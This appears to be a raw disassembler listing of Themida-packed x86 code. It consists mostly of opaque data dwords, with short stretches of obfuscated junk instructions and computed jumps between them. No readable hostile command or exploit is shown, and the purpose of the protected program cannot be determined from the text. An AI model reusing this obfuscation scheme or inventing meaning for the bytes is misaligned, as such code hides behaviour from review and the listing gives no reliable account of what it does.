loc_5F25DB: ; CODE XREF: sub_5F25A3:loc_5F25CFj
jmp loc_5F256F
; ---------------------------------------------------------------------------
dd 93B41A74h, 796C5C57h, 7437FF4Dh, 0F2FE1A86h
; ---------------------------------------------------------------------------
loc_5F25F0: ; CODE XREF: sub_5F25A3+15j
jmp loc_5F2607
; ---------------------------------------------------------------------------
db 97h, 0DBh, 1Eh
dd 15h, 2 dup(0)
db 3 dup(0)
; ---------------------------------------------------------------------------
loc_5F2607: ; CODE XREF: sub_5F25A3:loc_5F25F0j
jmp loc_5F2B74
; ---------------------------------------------------------------------------
dd 0C4FAA472h, 6DA3FB17h, 134955C0h, 0BFF5A966h, 699FFF12h
dd 7A978035h, 0D341EE24h, 28E895CBh, 80934076h, 0C119E81Eh
dd 0E77442A5h, 720A7007h, 74B31632h, 77E107E7h, 9AF60EB3h
dd 0DF85EE20h, 326CA728h, 0CFCF42A7h, 7727EC99h, 128C87ECh
dd 0AEF02287h, 534BC91Eh, 88C11AADh, 7529EACEh, 4B67A73Fh
dd 0FFE682E8h, 8340A3BFh, 0D66FFE6h, 20CD73CCh, 0CB78AEF0h
dd 69CE5945h, 368F3ABh, 0B8247D10h, 78232467h, 0F41F840Fh
dd 0A4CD1FAAh, 477042EAh, 3767A98Dh, 0DFBF5401h, 1CC22854h
dd 6BF3FFE7h, 1AA5F916h, 10CA4BF1h, 7528D109h, 616F38h
dd 0A7000000h, 7BA7326Ch, 0FFE68316h, 0AB66BB43h, 12CC4DF3h
dd 748FD30Bh, 17138h, 0A7020000h, 4EA3336Bh, 0A437DDC1h
dd 3BCBD33Fh, 81D45411h, 0E6CD0265h, 5DD730FFh, 0B35C0544h
dd 0CE3760EBh, 0DF309528h, 0A2DB34BFh, 540E04E8h, 2F58E3BBh
dd 30E390C6h, 4BA0386Eh, 0F05BD5C9h, 960C33D0h, 0A703BA60h
dd 44A9346Ah, 3709BFCEh, 2256CE4Ch, 0CA122EB9h, 4CC59D75h
dd 359EC752h, 0F0D370AAh, 0D1D77D16h, 4C52C368h, 9C6B25A6h
dd 1CD8D972h, 6D1329BFh, 174D51C0h, 65F5A96Ah, 73DF303Bh
dd 0AC5218FEh, 0FB9FC919h, 6CD83EC7h, 3CD9862Ch, 98A8D262h
dd 0D422DBF4h, 0CDD0334Fh, 9DF6FFE6h, 1A848F34h, 977CE174h
dd 0FB177C07h, 0CBFC18A3h, 6C046911h, 17A2FC17h, 0DC748EEh
dd 74D3BE06h, 5D5C38h, 0A7ED0000h, 64A4346Ah, 0E682E548h
dd 316DA7FFh, 0E33C7DA6h, 0D045AA3Dh, 0B1EA43CEh, 3FD328F7h
dd 50CB95Fh, 5BB66399h, 0BC53B843h, 0B13257E2h, 89A8F0F7h
dd 3B463874h, 0D7000000h, 0AE3792BCh, 0B1DA5D7Ah, 0EBB35E0Bh
dd 0B4D01060h, 0FFE6D351h, 0D380267Fh, 92D6613Dh, 5EB39751h
dd 0A7530A40h, 7CA8336Bh, 0FFE68316h, 151CD647h, 38748EDDh
dd 17Bh, 6EA70C00h, 0F6811DF4h, 74D964CDh, 0E274FF9Fh
dd 0FA1BFFB9h, 81D66EA4h, 5660C92h, 304CDC84h, 7E09AD2h
dd 0D6C84CA1h, 38EE730h, 0EDB15EB3h, 25799A47h, 0BCD142EFh
dd 0DD0D46CAh, 821CF5EBh, 0FC65CEF7h, 0E4E04571h, 8ACB07E0h
dd 7727ECD0h, 527FA941h, 36279596h, 0EB28D57Bh, 50C328B3h
dd 2FA80B27h, 75CE07E1h, 3C527C0Ch, 31AD7F03h, 0ACC85B01h
dd 36DDC17Bh, 2A623268h, 0C8406F37h, 17Dh, 0BD4A4E78h
dd 55CE018Dh, 0B03B63B0h, 0F32AE187h, 0FA3ACA96h, 0E6837BDEh
dd 0AA50A9FFh, 0B8A0F612h, 1F5F07E0h, 0E0B8A003h, 0C76DC607h
dd 4095257Eh, 153EC9D5h, 9C77DC6Fh, 0B85CBFDBh, 318A07E0h
dd 0BAFA92C8h, 0E0B83B9Eh, 6A106907h, 0BD4856BDh, 19A6436Dh
dd 505223E9h, 0E14BD134h, 3DA6FF07h, 326DEFC3h, 0C96F821Bh
dd 1CA7F71Ch, 0B5405EB7h, 4FDAC450h, 721AD4FDh, 472BE516h
dd 0ED42D2CCh, 0C5EE7925h, 5ABF320h, 87BFF7C7h, 695D406Fh
dd 0D000000h, 0B9445AB8h, 0F333EA90h, 1A36C69Ah, 7FE68397h
dd 959E43Dh, 0AF325BB4h, 6505F221h, 3C65F059h, 0CFDE8CC2h
dd 0C0661512h, 0E60DE94Ch, 0E39DC67Fh, 2C0D424Bh, 0A3BC6F88h
dd 5B0E07FFh, 0BA9B7E1h, 73F612A2h, 61FFE5A3h, 1C387808h
dd 0FFE762B9h, 0AAE88EE7h, 2A6E812h, 0F080D8E9h, 0C8F17C22h
dd 82D2B95Fh, 6B000000h, 0C87992BCh, 72951EBCh, 421E6BCCh
dd 0A52C96B2h, 61BA07E0h, 0FCA271D6h, 0A4FA19C6h, 0A185ED19h
dd 0DD1E07E0h, 13FF5423h, 0AC7D697Ah, 0A50EFBBAh, 9E4BF11Ah
dd 5BF32975h, 0F87FB531h, 63093EB5h, 49D98702h, 0E22A7A2Dh
dd 840F680Fh, 1FAAF41Fh, 17F84D8Dh, 90ACFC87h, 0FE0C72Dh
dd 0EB91FA53h, 0A1E1B06Ah, 0E0C72285h, 82E5010Fh, 0B00FE0C7h
dd 17BD1657h, 0FD8DD3B6h, 0E1B92EE1h, 0A5DB3417h, 0A967BCEEh
dd 9BEE4FF5h, 0A0F535C5h, 15892F6Fh, 7E77562h, 278C1770h
dd 0E47CB2ECh, 0A01A848Fh, 0BEA5F862h, 0BF6C128Fh, 93BF4A54h
dd 2504B60Fh, 5BBA0F5Fh, 0EF2DAC32h, 147D1429h, 39BA6089h
dd 0B95BB07Fh, 0D63955E5h, 0FC15050Dh, 0C350FDA3h, 0B80DA5DBh
dd 98060959h, 0D67BE40Dh, 0DBA603Eh, 0BD0D9806h, 1ACAD793h
dd 13B9D665h, 6AF5A966h, 506C0B05h, 1504CEEDh, 0C651BA13h
dd 63EEB061h, 18C12FEh, 4C063FD8h, 0EFA9D2A4h, 6096080Bh
dd 0B33E60B3h, 314h, 5CBBAD00h, 0A42F6FA7h, 3FCAD43Fh
dd 0DD6836DAh, 77029C78h, 149FFF12h, 0B13C62AFh, 50DBC34Ch
dd 0E9742AEBh, 85108E84h, 3D086852h, 1C890000h
db 24h
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
add ebp, 4
sub ebp, 4
xchg ebp, [esp+0]
pop esp
mov [esp+0], ebp
push edx
mov edx, esp
add edx, 4
sub edx, 4
xchg edx, [esp+0]
pop esp
mov [esp+0], ecx
push ecx
push 54AB3212h
pop ecx
push esi
mov esi, 29116071h
xor esi, 64B71B28h
and ecx, esi
pop esi
not ecx
neg ecx
xor ecx, 4CA2C3DAh
mov ebp, ecx
pop ecx
push esp
mov ecx, [esp+0]
add esp, 4
sub esp, 4
mov [esp+0], edx
mov edx, 8
add edx, ecx
mov [edx], ebp
pop edx
mov ecx, [esp+0]
push eax
mov eax, esp
add eax, 4
add eax, 4
xchg eax, [esp+0]
pop esp
push dword ptr [esp+0]
pop ebp
add esp, 4
jmp loc_58B334
; ---------------------------------------------------------------------------
dw 62B2h
dd 3AA94146h
; ---------------------------------------------------------------------------
loc_5F2B74: ; CODE XREF: sub_5F25A3:loc_5F2607j
mov eax, 800F698h
add eax, ebp
jmp eax
sub_5F25A3 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
db 0Ch, 8, 4Bh
dd 0BFF42918h, 561A0E06h, 10872459h, 696B4E7Dh, 0CA731010h
dd 0B98FE643h, 7EEAC174h, 0E1C61A5Fh, 0C7B8FF2Bh, 0D46CBA14h
dd 22E8CF37h, 894A0C22h, 0EF7AA775h, 0CE819h, 0A7150000h
dd 1D64B21h, 9EC951B0h, 0B70F97DCh, 0A8B759F2h, 658BC181h
dd 56BB0000h, 0B85B67CEh, 1A41256Fh, 3C5AF081h, 0D88B1A41h
dd 0BF0F118Bh, 0F4EA81FEh, 814EE701h, 0F0F057DEh, 0DCF28152h
dd 605CA649h, 9E9h, 18869200h, 4C256463h, 8B66FDDCh, 0C28161D9h
dd 7AF7C885h, 0C8DE8166h, 0B6605207h, 0E1816622h, 8F61B359h
dd 0E1E98101h, 8155A4EDh, 0C32C45D3h, 0DDC1814Ah, 0B755A4EDh
dd 850F4886h, 1Ch, 0E9FAB70Fh, 2Dh, 54C19852h, 66265235h
dd 1BC3A259h, 0D5BECC55h, 1DC80C42h, 68C0Fh, 0D7810000h
dd 7B771200h, 0FFFF77E9h, 0F15823FFh, 0EEBDF567h, 58D8DC9h
dd 6A0800F9h, 3E85600h, 20000000h, 895EC35Eh, 81042474h
dd 1A042444h, 46000000h, 0FC30C356h, 0C46BF375h, 8B66528Bh
dd 0B8665BD0h, 8D895E8Dh, 7FA1CD9h, 0AD85C7F9h, 2C07FA31h
dd 0F000064h, 0C85h, 6840F00h, 8B000000h, 0FA0D559Dh, 0D9D8B07h
dd 0C707FA17h, 0FA2BD985h, 7, 68F0F00h, 8B000000h, 0FA296DB5h
dd 99B5FF07h, 6A07FA1Eh, 3E85600h, 20000000h, 895EC35Eh
dd 81042474h, 15042444h, 46000000h, 66E8C356h, 0FFDE8B66h
dd 0FA179995h, 53006A07h, 3E8h, 0C35B2000h, 245C895Bh
dd 24448104h, 1B04h, 0C3534300h, 9EAD3BE0h, 25BD2258h
dd 5860Fh, 81660000h, 6AF20EC2h, 1995FF00h, 8B07FA10h
dd 8C3AEBC0h, 536DB199h, 28890B01h, 9EEFDF2h, 10C0843Bh
dd 0C40807D8h, 100FB4D6h, 0A6C8AFF1h, 34418B22h, 53B26601h
dd 0F978DF7Ch, 0EB3224F2h, 0D47B91CBh, 0EC3A5081h, 0D4807909h
dd 0DE874h, 12E50000h, 0D36FAA2Eh, 5214C158h, 0F9D56E0Fh
dd 0BF666058h, 8589F315h, 7FA0849h, 0D0C08161h, 0E800006Eh
dd 0Fh, 22840D57h, 3C239731h, 24C287A4h, 8B31EC82h, 0FA18959Dh
dd 0F6335907h, 56C802BAh, 634FF71h, 1BD5958Bh, 665F07FAh
dd 0EF81DE8Bh, 4F1395C4h, 0D7816660h, 8161F19Fh, 0CCD3D6EFh
dd 0C3805625h, 0EF815ABBh, 34454FB4h, 7ED958Bh, 0E95707FAh
dd 14h, 0F4E2CBC6h, 46289DD2h, 3CB33F6Fh, 10FF90D4h, 4399CC1h
dd 0F30048Fh, 28Bh, 816CB700h, 4DA5B3EEh, 8112B343h, 4DA5AFC6h
dd 9D295743h, 7FA2805h, 0ECFE815Bh, 0FFFFF91h, 0FFFF8885h
dd 0B70F52FFh, 13E95ADBh, 6B000000h, 1008B3h, 3 dup(0)
dd 0AAE90000h, 68000004h, 800FB3Bh, 0F984C3E9h, 0FBBB68FFh
dd 0B9E90800h, 68FFF984h, 800FD2Eh, 0F984AFE9h, 732BEBFFh
dd 1C82903Dh, 0C2DC39E6h, 6E30DF8Ch, 18868B38h, 12F9AEE2h
dd 0BC699FFFh, 63104658h, 0EBBF1ADh, 94639905h, 7DBD203Ch
dd 7DE307E7h, 0AD67BCC6h, 973D66F1h, 0EC7727EAh, 0DC128C87h
dd 0F9160E7Bh, 88F11AA5h, 0A03ADCF8h, 0F6807E0h, 9EF15884h
dd 7AFB07E0h, 0AB81B9C0h, 0C1F406Eh, 0CF000003h, 926B4FA5h
dd 9B40B9ECh, 0C77E247Ah, 0CEBB657Bh, 0E4E60292h, 0D207E089h
dd 0EAD83C79h, 0E00545EFh, 0AF48A6A9h, 0A11F4D8Bh, 0D7EA838h
dd 23A85085h, 7EBE56FCh, 1DBF223Eh, 8CE5FA86h, 25B072E6h
dd 2C960280h, 6985E058h, 0FD4BD906h, 0A459D32Ch, 48FF89Ch
dd 0E9B55FB4h, 0B9A7E243h, 8194E929h, 94B1510Ch, 0A009E9B5h
dd 0D246EC15h, 5461E4Dh, 5C42D328h, 0B902A8D1h, 987BD060h
dd 0F023D006h, 0FCB3B99Dh, 0AC15EFC1h, 2371EEEh, 65043F63h
dd 2D9h, 346A34E2h, 0DD138B87h, 83B9E530h, 2F6539D6h, 0D90F8F82h
dd 0A07F0A5h, 63B15E94h, 0B858053Bh, 1003B0E6h, 3189588Eh
dd 0E77EB215h, 0C37AE007h, 0B5B996F3h, 5747CD39h, 4529A3CCh
dd 0A030993Fh, 0E8322F84h, 0B2CE0E07h, 7E6D24Fh, 2D761C75h
dd 22EF44D4h, 59AE467Ch, 903DE3BBh, 66921D81h, 7E6D1FEh
dd 0AACD4499h, 0E6332B8Eh, 970059F7h, 0CFCF44F1h, 62E17311h
dd 7E1D586Eh, 259h, 0B4EAB462h, 5D930B07h, 33965B0h, 0AFE5B956h
dd 598F0F02h, 8A877025h, 0E331DE14h, 38D885BBh, 90833066h
dd 0B109D80Eh, 0E77E3295h, 43FA6007h, 3ACA96F3h, 0E77DC91Eh
dd 0EF7AD307h, 0E77D5CC3h, 2BE56607h, 7584EC24h, 1A98A40h
dd 0A71B0000h, 42A7326Ch, 278AA6D1h, 0E9FFE683h, 0D932732Bh
dd 78A23A70h, 1632FBEFh, 63C46A23h, 8EAA3A26h, 7E146F4h
dd 0D29B1943h, 5DEF09DEh, 8A156EB7h, 0E0E7F75Eh, 0C6800107h
dd 6EF087BFh, 592540h, 0BCB60000h, 4DF3AB67h, 33C39DECh
dd 0E09C4917h, 45DC0607h, 23168852h, 0A3FC4F59h, 9AC64629h
dd 0EB19A820h, 721802C4h, 405BF29h, 1B44EE48h, 0E13E9CFFh
dd 871CA07h, 81E8149Fh, 8B07E13Eh, 52B7C9F3h, 0CD5846CFh
dd 0B5C02AA4h, 33ED6E14h, 6EBAF42Ch, 0D49240h, 0A7230000h
dd 42A7326Ch, 0DF44CFCFh, 7ADF6A34h, 35750599h, 0E683B619h
dd 0F383DCFFh, 0E68374D7h, 0A349A2FFh, 8868F165h, 0F91AFFE6h
dd 7B0E6FA5h, 120055E5h, 0E4EE68Ch, 0BC4757B9h, 0A379ED93h
dd 0AF07E366h, 9F71C656h, 81C159FFh, 2AB5E92Ch, 63AE5B01h
dd 466215FFh, 7E35DE3h, 0C44FB811h, 64FC329Bh, 5EA50824h
dd 849207E3h, 0C98BC73Eh, 6099EDFh, 0DC892F98h, 0B8E62D35h
dd 0DD9B042Dh, 9E616E39h, 0E640DF1Ah, 0D5000000h, 7A275D41h
dd 23D00698h, 0C976ACF2h, 75225846h, 98CC029Ch, 8915FCE3h
dd 306EA653h, 0DBC34DFAh, 831BF8A5h, 0A267E4Dh, 7E780A7h
dd 0A7B067CDh, 64A4346Ah, 0E682E548h, 22B20BFFh, 0E683A306h
dd 0D278D1FFh, 722CE794h, 6CA7853Ch, 0D142A732h, 533697CDh
dd 60617D0Dh, 8607E0D2h, 0C9489D2Dh, 0C42B9FD5h, 0A307E0D2h
dd 35DBC34Eh, 0DD138B88h, 32BDE130h, 97CFB8E2h, 25FBD112h
dd 63987Fh, 0F3310000h, 1E3ACA96h, 7E77DC5h, 0A1F686DFh
dd 7F1FF36Fh, 0BC628B16h, 4F4FC429h, 0F7A76C19h, 0CA0B406Ch
dd 31811FEFh, 0DA6539DCh, 0D08A0BB1h, 0E77727ECh, 911C8292h
dd 0D784C268h, 72D7623Ch, 0E476019Dh, 0DD3201BBh, 0C3264235h
dd 0F10FEF39h, 7BA42F98h, 0B3EB28D5h, 5B43D07Dh, 331D0h
dd 0BBCA0000h, 2F6FA75Ch, 0CAD43FA4h, 6836DA3Fh, 29C78DDh
dd 9FFF1277h, 3C62AF14h, 0DBC34CB1h, 742AEB50h, 108E84E9h
dd 54575285h, 4C7815Fh, 83000000h, 3C8704EFh, 89505C24h
dd 405E0h, 0E8830000h, 24048704h, 241C895Ch, 81E18951h
dd 4C1h, 4E98100h, 87000000h, 895C240Ch, 56502434h, 5C6FDEBEh
dd 0BCEE8160h, 814A9349h, 37D422C6h, 5EF089F2h, 5458C389h
dd 8124348Bh, 4C4h, 30DB6800h, 1C890000h, 8468F24h, 5E2434FFh
dd 8B04C483h
; ---------------------------------------------------------------------------
sbb al, 24h
push ebp
mov ebp, esp
add ebp, 4
add ebp, 4
xchg ebp, [esp]
pop esp
jmp loc_58B334
; ---------------------------------------------------------------------------
cld
fcom dword ptr [ebx+42h]
sub bl, ah
loc_5F3308: ; CODE XREF: Themida_:loc_5F3308j
jecxz short loc_5F3308
sbb [ecx], esi
mov esp, 0CEB7629Dh
mov eax, 800FE39h
add eax, ebp
jmp eax
; ---------------------------------------------------------------------------
dw 1826h
dd 1AF10EA8h, 96535C1h, 98D02749h, 0A8015B39h, 76EA54B5h
dd 78CF4D36h, 0FABC5747h, 6E83068Ch, 0D6342652h, 0DE8B2BDEh
dd 99633CA8h, 0AB29539Eh, 0DFCB6EA3h, 952F7227h, 33556D9Dh
dd 0F0E838BFh, 9F87C52h, 9BBA14EAh, 1532135Bh, 9E1111BCh
dd 7EB240DDh, 6B642E03h, 2FCA0BA0h, 3760531Ah, 0DA835DECh
dd 9A787F78h, 7CDD62A2h, 0CF7F20C2h, 20761D2Fh, 0B16A15F0h
dd 182F3704h, 8D8D56DBh, 800FFF9h, 0D798589h, 0CB8107FAh
dd 42B50725h, 1CD98D89h, 9D8907FAh, 7FA1851h, 31AD85C7h
dd 5FD007FAh, 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h
dd 190424h, 51410000h, 56F1F9C3h, 9071C88h, 0FA1E1995h
dd 0D985C707h, 7FA2Bh, 66000000h, 0A396CA81h, 89C78166h
dd 0B1B5FF12h, 8907FA16h, 0FA16D9B5h, 9995FF07h, 6A07FA17h
dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 16042444h
dd 45000000h, 0B267C355h, 219D8B6Ah, 6A07FA1Fh, 1995FF00h
dd 8B07FA10h, 6E7AEBC0h, 3C1BBC87h, 2DD0C1FCh, 0DD8F00A3h
dd 52FB89BCh, 0F9312C7Ch, 0B781A549h, 0AFCF73A7h, 0CA892D06h
dd 9349DF13h, 0C46D289Ah, 0AAC09EA5h, 3458F021h, 8B1B090Eh
dd 5C339578h, 0FF42A668h, 0B64D66D2h, 7EDC37D7h, 0DEEC218Eh
dd 1F952C20h, 0C4810095h, 9FBF4DB9h, 6C2A726Ch, 8E86F04Fh
dd 0C802F639h, 4B7C7F23h, 7CD906A3h, 297ED11Dh, 0D1FCAC18h
dd 0A7DA7B2Fh, 0AAD7D37Ch, 15E96Eh, 5E50000h, 1F50h, 3 dup(0)
dd 0E9000000h, 0B23h, 1023768h, 547AE908h, 3D68FFFAh, 0E9080103h
dd 0FFFA5470h, 104D668h, 5466E908h, 0CF68FFFAh, 0E9080105h
dd 0FFFA545Ch, 1073668h, 5452E908h, 1668FFFAh, 0E9080109h
dd 0FFFA5448h, 10A0B68h, 543EE908h, 0B54AFFFAh, 3AD27900h
dd 0A15D048Bh, 1AEC931Ah, 88751CA3h, 310AA31h, 0B43B827Fh
dd 40C7FE0Dh, 0CD546399h, 57DED726h, 7734B120h, 0D7EFE317h
dd 3E7E279Eh, 8B5C3ADAh, 6D6995D2h, 7734D19Ch, 0C9C7126Bh
dd 0A9F43FB9h, 279E6F0Eh, 58E129A0h, 2B7611A0h, 0CB00A9E0h
dd 0E0F32DA4h, 3CB92865h, 0EF7D1B36h, 8BC25DA8h, 0EBD90DE2h
dd 0A05C525Eh, 0E8337E19h, 0AD1F4D87h, 4986DB14h, 0DD3323DCh
dd 0AC03F5EFh, 3F9A7211h, 0DD3305C2h, 0CF1A65EFh, 0AD789B34h
dd 3316D350h, 2B76EFDDh, 0C691FCE0h, 0AB25D86Bh, 4AF9D0h
dd 0AB920000h, 66C76255h, 0DC8440B4h, 0A6E32E30h, 2C2CD57Ah
dd 28258886h, 39812865h, 3851D8EEh, 0ED38AAB6h, 0EB0739B6h
dd 2671EF7Ch, 0BFF608EFh, 0C17AAF82h, 4EEFDCFAh, 8AB918E3h
dd 51D0AAD9h, 8823926Ah, 0A987003Dh, 63000000h, 8A259C6Dh
dd 0D4BB1EEBh, 99568B22h, 0F9E7E216h, 0CBF20FAEh, 0B746E580h
dd 35C463FEh, 0B5B8F57Ch, 9FE7E21Bh, 0BF06036Eh, 78ED924h
dd 7D18A960h, 5A91CE0Eh, 0AD04F4DBh, 3D010370h, 206BEF7Ch
dd 0A5DA2299h, 9F14F16Eh, 7DB4F770h, 0D91F4300h, 0D58A3F7h
dd 0AB12EFD6h, 39807D24h, 69080EFBh, 0EC2FFA1Dh, 8B3h
dd 0D35A53A4h, 5EE5DC2Ch, 0ED744BB7h, 76FDB046h, 48B32CFh
dd 2CD9796Ah, 94670E95h, 19F39A21h, 898027AEh, 0B7AB138h
dd 0E318D18Eh, 0C4F831EFh, 0F229906Dh, 2BC6F10Bh, 3DE4A3E0h
dd 726EF5CCh, 0E9205D9Dh, 7C1F3A6Ch, 0F06DA4EFh, 0EFDC2F33h
dd 62FD4893h, 0DC2F742Dh, 0FDB046EFh, 7B4AC362h, 592447E0h
dd 0D6A10CF0h, 48799077h, 0BA2562ADh, 0D0AA2589h, 0D148h
dd 0FFAE100h, 6D4D79B6h, 538A259Ch, 169A57D4h, 0AFFAE7E2h
dd 36E9B72h, 0D924BF06h, 0BBBEF38Eh, 0A5E7E21Bh, 2FD65D54h
dd 0DD4CE7DEh, 0AA29609Dh, 427F46C3h, 7C3CD3D5h, 6C9E3DEFh
dd 10870E59h, 1E9F7DC8h, 9A4F94DBh, 68B302FBh, 0B633B231h
dd 0EFDCA5F9h, 1CD90E59h, 7CEFDCA6h, 885F431h, 0F770F360h
dd 0B9386FBAh, 0D9857F3Ch, 5794DFF7h, 0BD0401E8h, 0CD8A0786h
dd 2DF7D984h, 3FE6A5E2h, 0F6BDFBC2h, 0B21D696Eh, 7ADA4E7h
dd 55AA0000h, 0DA32D960h, 41BD64EBh, 0BA4CF37Ah, 28D57C03h
dd 63700A91h, 149B22DFh, 0A0279E6Dh, 2DB403F9h, 0B73E7786h
dd 0D7941180h, 37EFE319h, 906DCAFEh, 2FBA229h, 178D4AC7h
dd 9567E7E2h, 73BE0922h, 0EED5F0ECh, 946BA81Dh, 12B14C65h
dd 0CC43CAFBh, 9B184F8Ch, 0EF7C2D85h, 0B251EC37h, 3CE36A5Bh
dd 5D64A0CDh, 0D21677C2h, 0CA643E55h, 7FB44F9Ah, 771B22A5h
dd 20E5B0CBh, 0AA51D8E9h, 92C76253h, 772324D8h, 5E27F24Dh
dd 0E88F16AFh, 7A37B411h, 0DA772325h, 640D448Fh, 3C39CFFFh
dd 9E71AE94h, 0BAAD5369h, 3C837F66h, 0BB0A02A1h, 0C036D520h
dd 0AAC552EDh, 0AED16ADFh, 0DAEB22E3h, 785DAC53h, 23403EFBh
dd 0D5EC1877h, 9FD6EF3Ah, 23406522h, 2F7AC577h, 92DA49E4h
dd 937D265Dh, 0B4F3CFF5h, 437A8625h, 581A9706h, 0C27EBDE6h
dd 0A2594077h, 0F02D7813h, 3D72BA31h, 19638906h, 10F786B8h
dd 0E530CBFAh, 1C7431AEh, 89D48718h, 15B0FB4Ch, 181C26E0h
dd 7F4AB587h, 65229F1Eh, 0C587181Ch, 61D23D7Ah, 6048663Ch
dd 395h, 0BF2CD53Ch, 0FE4C19C1h, 1A3581BEh, 4D84B901h
dd 7D1C32D0h, 5889D4EFh, 0E36E7AF3h, 0B835B470h, 70EBEDFBh
dd 9A71105Bh, 747EE2Bh, 0E5308576h, 0F0331AEh, 60477886h
dd 8EDF1CA5h, 8A71A843h, 61AC477Eh, 0EA3D7D24h, 0B09BD95Dh
dd 7CB3FE3Ah, 7AF509FFh, 0F9307B80h, 43CAFB12h, 16546D9Ch
dd 8B9EE057h, 14F33601h, 43000006h, 0CB72F9CCh, 56FD8433h
dd 0E58C13AAh, 6E159C13h, 9A32A93h, 348D781Ah, 0C0F506ADh
dd 4D789239h, 0D7EE1FC6h, 2DAA1950h, 0EFE31B70h, 9D6397D0h
dd 8831CC5Dh, 2057A2EDh, 7C2D8DA3h, 0BDF43FEFh, 0C879AC14h
dd 0F33019DEh, 39888120h, 5B26419Eh, 164D82CAh, 76528399h
dd 17FE35F7h, 0E29FD4EBh, 42F7D652h, 8E75ACF7h, 63AE497Ch
dd 49C06726h, 71984178h, 4A17A36Bh, 0BA592C69h, 543B7243h
dd 1D411A8h, 98159403h, 0F7D681DBh, 58B3F03Bh, 8031C88Dh
dd 5675BEF9h, 6F56D8A4h, 46912C93h, 2839009h, 9D6C0000h
dd 6AE9205Dh, 91E255C1h, 0EA2722F5h, 0E3BB437Dh, 1B529DDFh
dd 7148B59Ch, 774E8BD6h, 6DAC338Ah, 0A8437A86h, 7BC6FD09h
dd 239A673Eh, 0C2F905ECh, 0CC9FDC27h, 7B288397h, 0DE3017DFh
dd 5BC48E7h, 0A918F1C8h, 9FA4BC6Bh, 3E814C1Ah, 51Bh, 6BF2CB3Ch
dd 0F67D34C4h, 850CB34Fh, 0E9528DEh, 9C239A67h, 94711102h
dd 0CFFA62Dh, 718B32B9h, 0E118BF46h, 0A31249D0h, 0E31C6926h
dd 5C90C9EFh, 0E9205D9Dh, 5EDE340h, 888162B3h, 42B1EE39h
dd 932ADCC3h, 370ADF8h, 0DFE392C9h, 0DAE31E05h, 66014C9Dh
dd 98CC862Fh, 0B53B452Ch, 5968A178h, 0E3D22BD2h, 6150A948h
dd 712EAB2Ah, 0D1EFE3D1h, 78764986h, 7CFB521Dh, 1D526995h
dd 0EFE3D160h, 613875C0h, 579219A8h, 0DF5187ECh, 1A0E5h
dd 9C6DC100h, 886FEE25h, 5AA54071h, 0E2176825h, 407DC8E7h
dd 863FCE6Dh, 0B4088FFh, 8E1BEDD4h, 33226EC6h, 3408BEBh
dd 3C111794h, 3883EF7Ch, 4BAF689Dh, 0D13CEFDCh, 0C98AB06h
dd 3139D0AAh, 15000000h, 0E9205D9Dh, 81BE0702h, 1F639512h
dd 0C8AFEF7Ch, 9DE88332h, 29C40F60h, 0DC2F3BF4h, 925DC8EFh
dd 0AA25F43Fh, 1AF0D7D0h, 0A5F56EABh, 0D1000000h, 38D19C6Dh
dd 58A3EE89h, 8A0786BDh, 0E7E216CDh, 0C45F56A7h, 0D8156079h
dd 9C690401h, 3DBFC425h, 2B17A139h, 57A645E0h, 0D524C35Eh
dd 0A7427388h, 4D8A115Ch, 0E7E2844Ah, 65ECC534h, 3A71AEEEh
dd 76D193BDh, 6BA2EDEFh, 9407984h, 7785EC22h, 0F9B8F540h
dd 0D00EB752h, 15634C1Dh, 0B499DCA7h, 0A3000003h, 2BD2596Ch
dd 0B65DE4D3h, 45EC734Ah, 0CE75FCB3h, 69038A33h, 942DD87Ah
dd 2095660Dh, 0AD18F299h, 378E7F26h, 8D0A79B0h, 0EFE31DD0h
dd 6DC3F730h, 8F26D590h, 0E716BD44h, 9732837Ah, 7E7A014Ch
dd 8A259C6Dh, 1CA312EBh, 0AF06F6DDh, 0E58CC914h, 4A3168A5h
dd 216C07BEh, 0FF675E4h, 4CB6F3h, 29BDB9ACh, 0F7ED7DDEh
dd 27DEE509h, 4ABB7DEAh, 0EE25EF7Ch, 0DC4CB471h, 7EC914EFh
dd 4CF7AEE3h, 0FB6AEFDCh, 690E252h, 0C8FF9D8Fh, 0DC358E4Bh
dd 66A3EEEFh, 5EDD400Bh, 370EDBB5h, 0EB2048AEh, 0EFDCC02Eh
dd 5F06438Eh, 0BC79F61Fh, 1CEFDCBFh, 0EF3A817Dh, 2EF06DA4h
dd 7AF776D5h, 0AB4A7D93h, 7FCA6550h, 1FA6F142h, 18EED523h
dd 88BF0AA5h, 0E2174E0Bh, 2663AEE7h, 0D007BE4Fh, 8A312E9h
dd 169754D1h, 0ACF7E7E2h, 0B2512461h, 6CE36A5Bh, 0D1B8EF2Ch
dd 0E1508D34h, 7C315E64h, 0EA85D0EFh, 0DC40FCB5h, 230A89EFh
dd 439EDBEAh, 132A1978h, 8B1D0AAh, 0FB2E16CAh, 3F3E55E0h
dd 55E98FF0h, 2969E21Fh, 45000000h, 18DA2CD5h, 2643A036h
dd 0C5FA42E9h, 93DF118Eh, 0FE49EF7Ch, 0A4752E63h, 9702EFDCh
dd 0B0CE75CCh, 0E903D0AAh, 0DF000000h, 0F64C2CD5h, 355DD5A8h
dd 0D9E821F8h, 0B88073Eh, 0E7E2BA4Eh, 4F2663AEh, 0D1700BB2h
dd 4FEE8938h, 438007BEh, 0E7E2BF40h, 6352AB92h, 7BE4F26h
dd 17D451D0h, 77E7E2BFh, 8930EF2Ch, 37A64170h, 683BAF7h
dd 0EF7CD2CCh, 9E155F08h, 0F6C582FFh, 0DA25EFDCh, 61E2BB79h
dd 35801BAAh, 764A89EAh, 43392AEh, 0A42B76C7h, 79B0ED2Dh
dd 713CBCFCh, 0A4DB26F7h, 0F27940BDh, 57B3BE4Bh, 38D3EA1Ch
dd 1957A2EDh, 1D69A632h, 0D4D81BE6h, 83000001h, 0BB2398Ch
dd 963DC4F3h, 25CC536Ah, 0AE55DCD3h, 49E36A53h, 744DB85Ah
dd 0B546EDh, 8D38D279h, 17AE5F06h, 6DEA5990h, 0EFE31FB0h
dd 0D5A3D710h, 58A83A2Ch, 2B7611A0h, 760C98CAh, 32A76239h
dd 0E264F8B5h, 4DB958E7h, 4590DB76h, 3DCC73FAh, 0D7BEFD84h
dd 29559225h, 0E9205D9Dh, 7C1F3A6Ch, 0BE59A4EFh, 0DC2ED089h
dd 27F25DEFh, 0AA2579CAh, 66E362D0h, 0EFDC22A9h, 4E5DBE09h
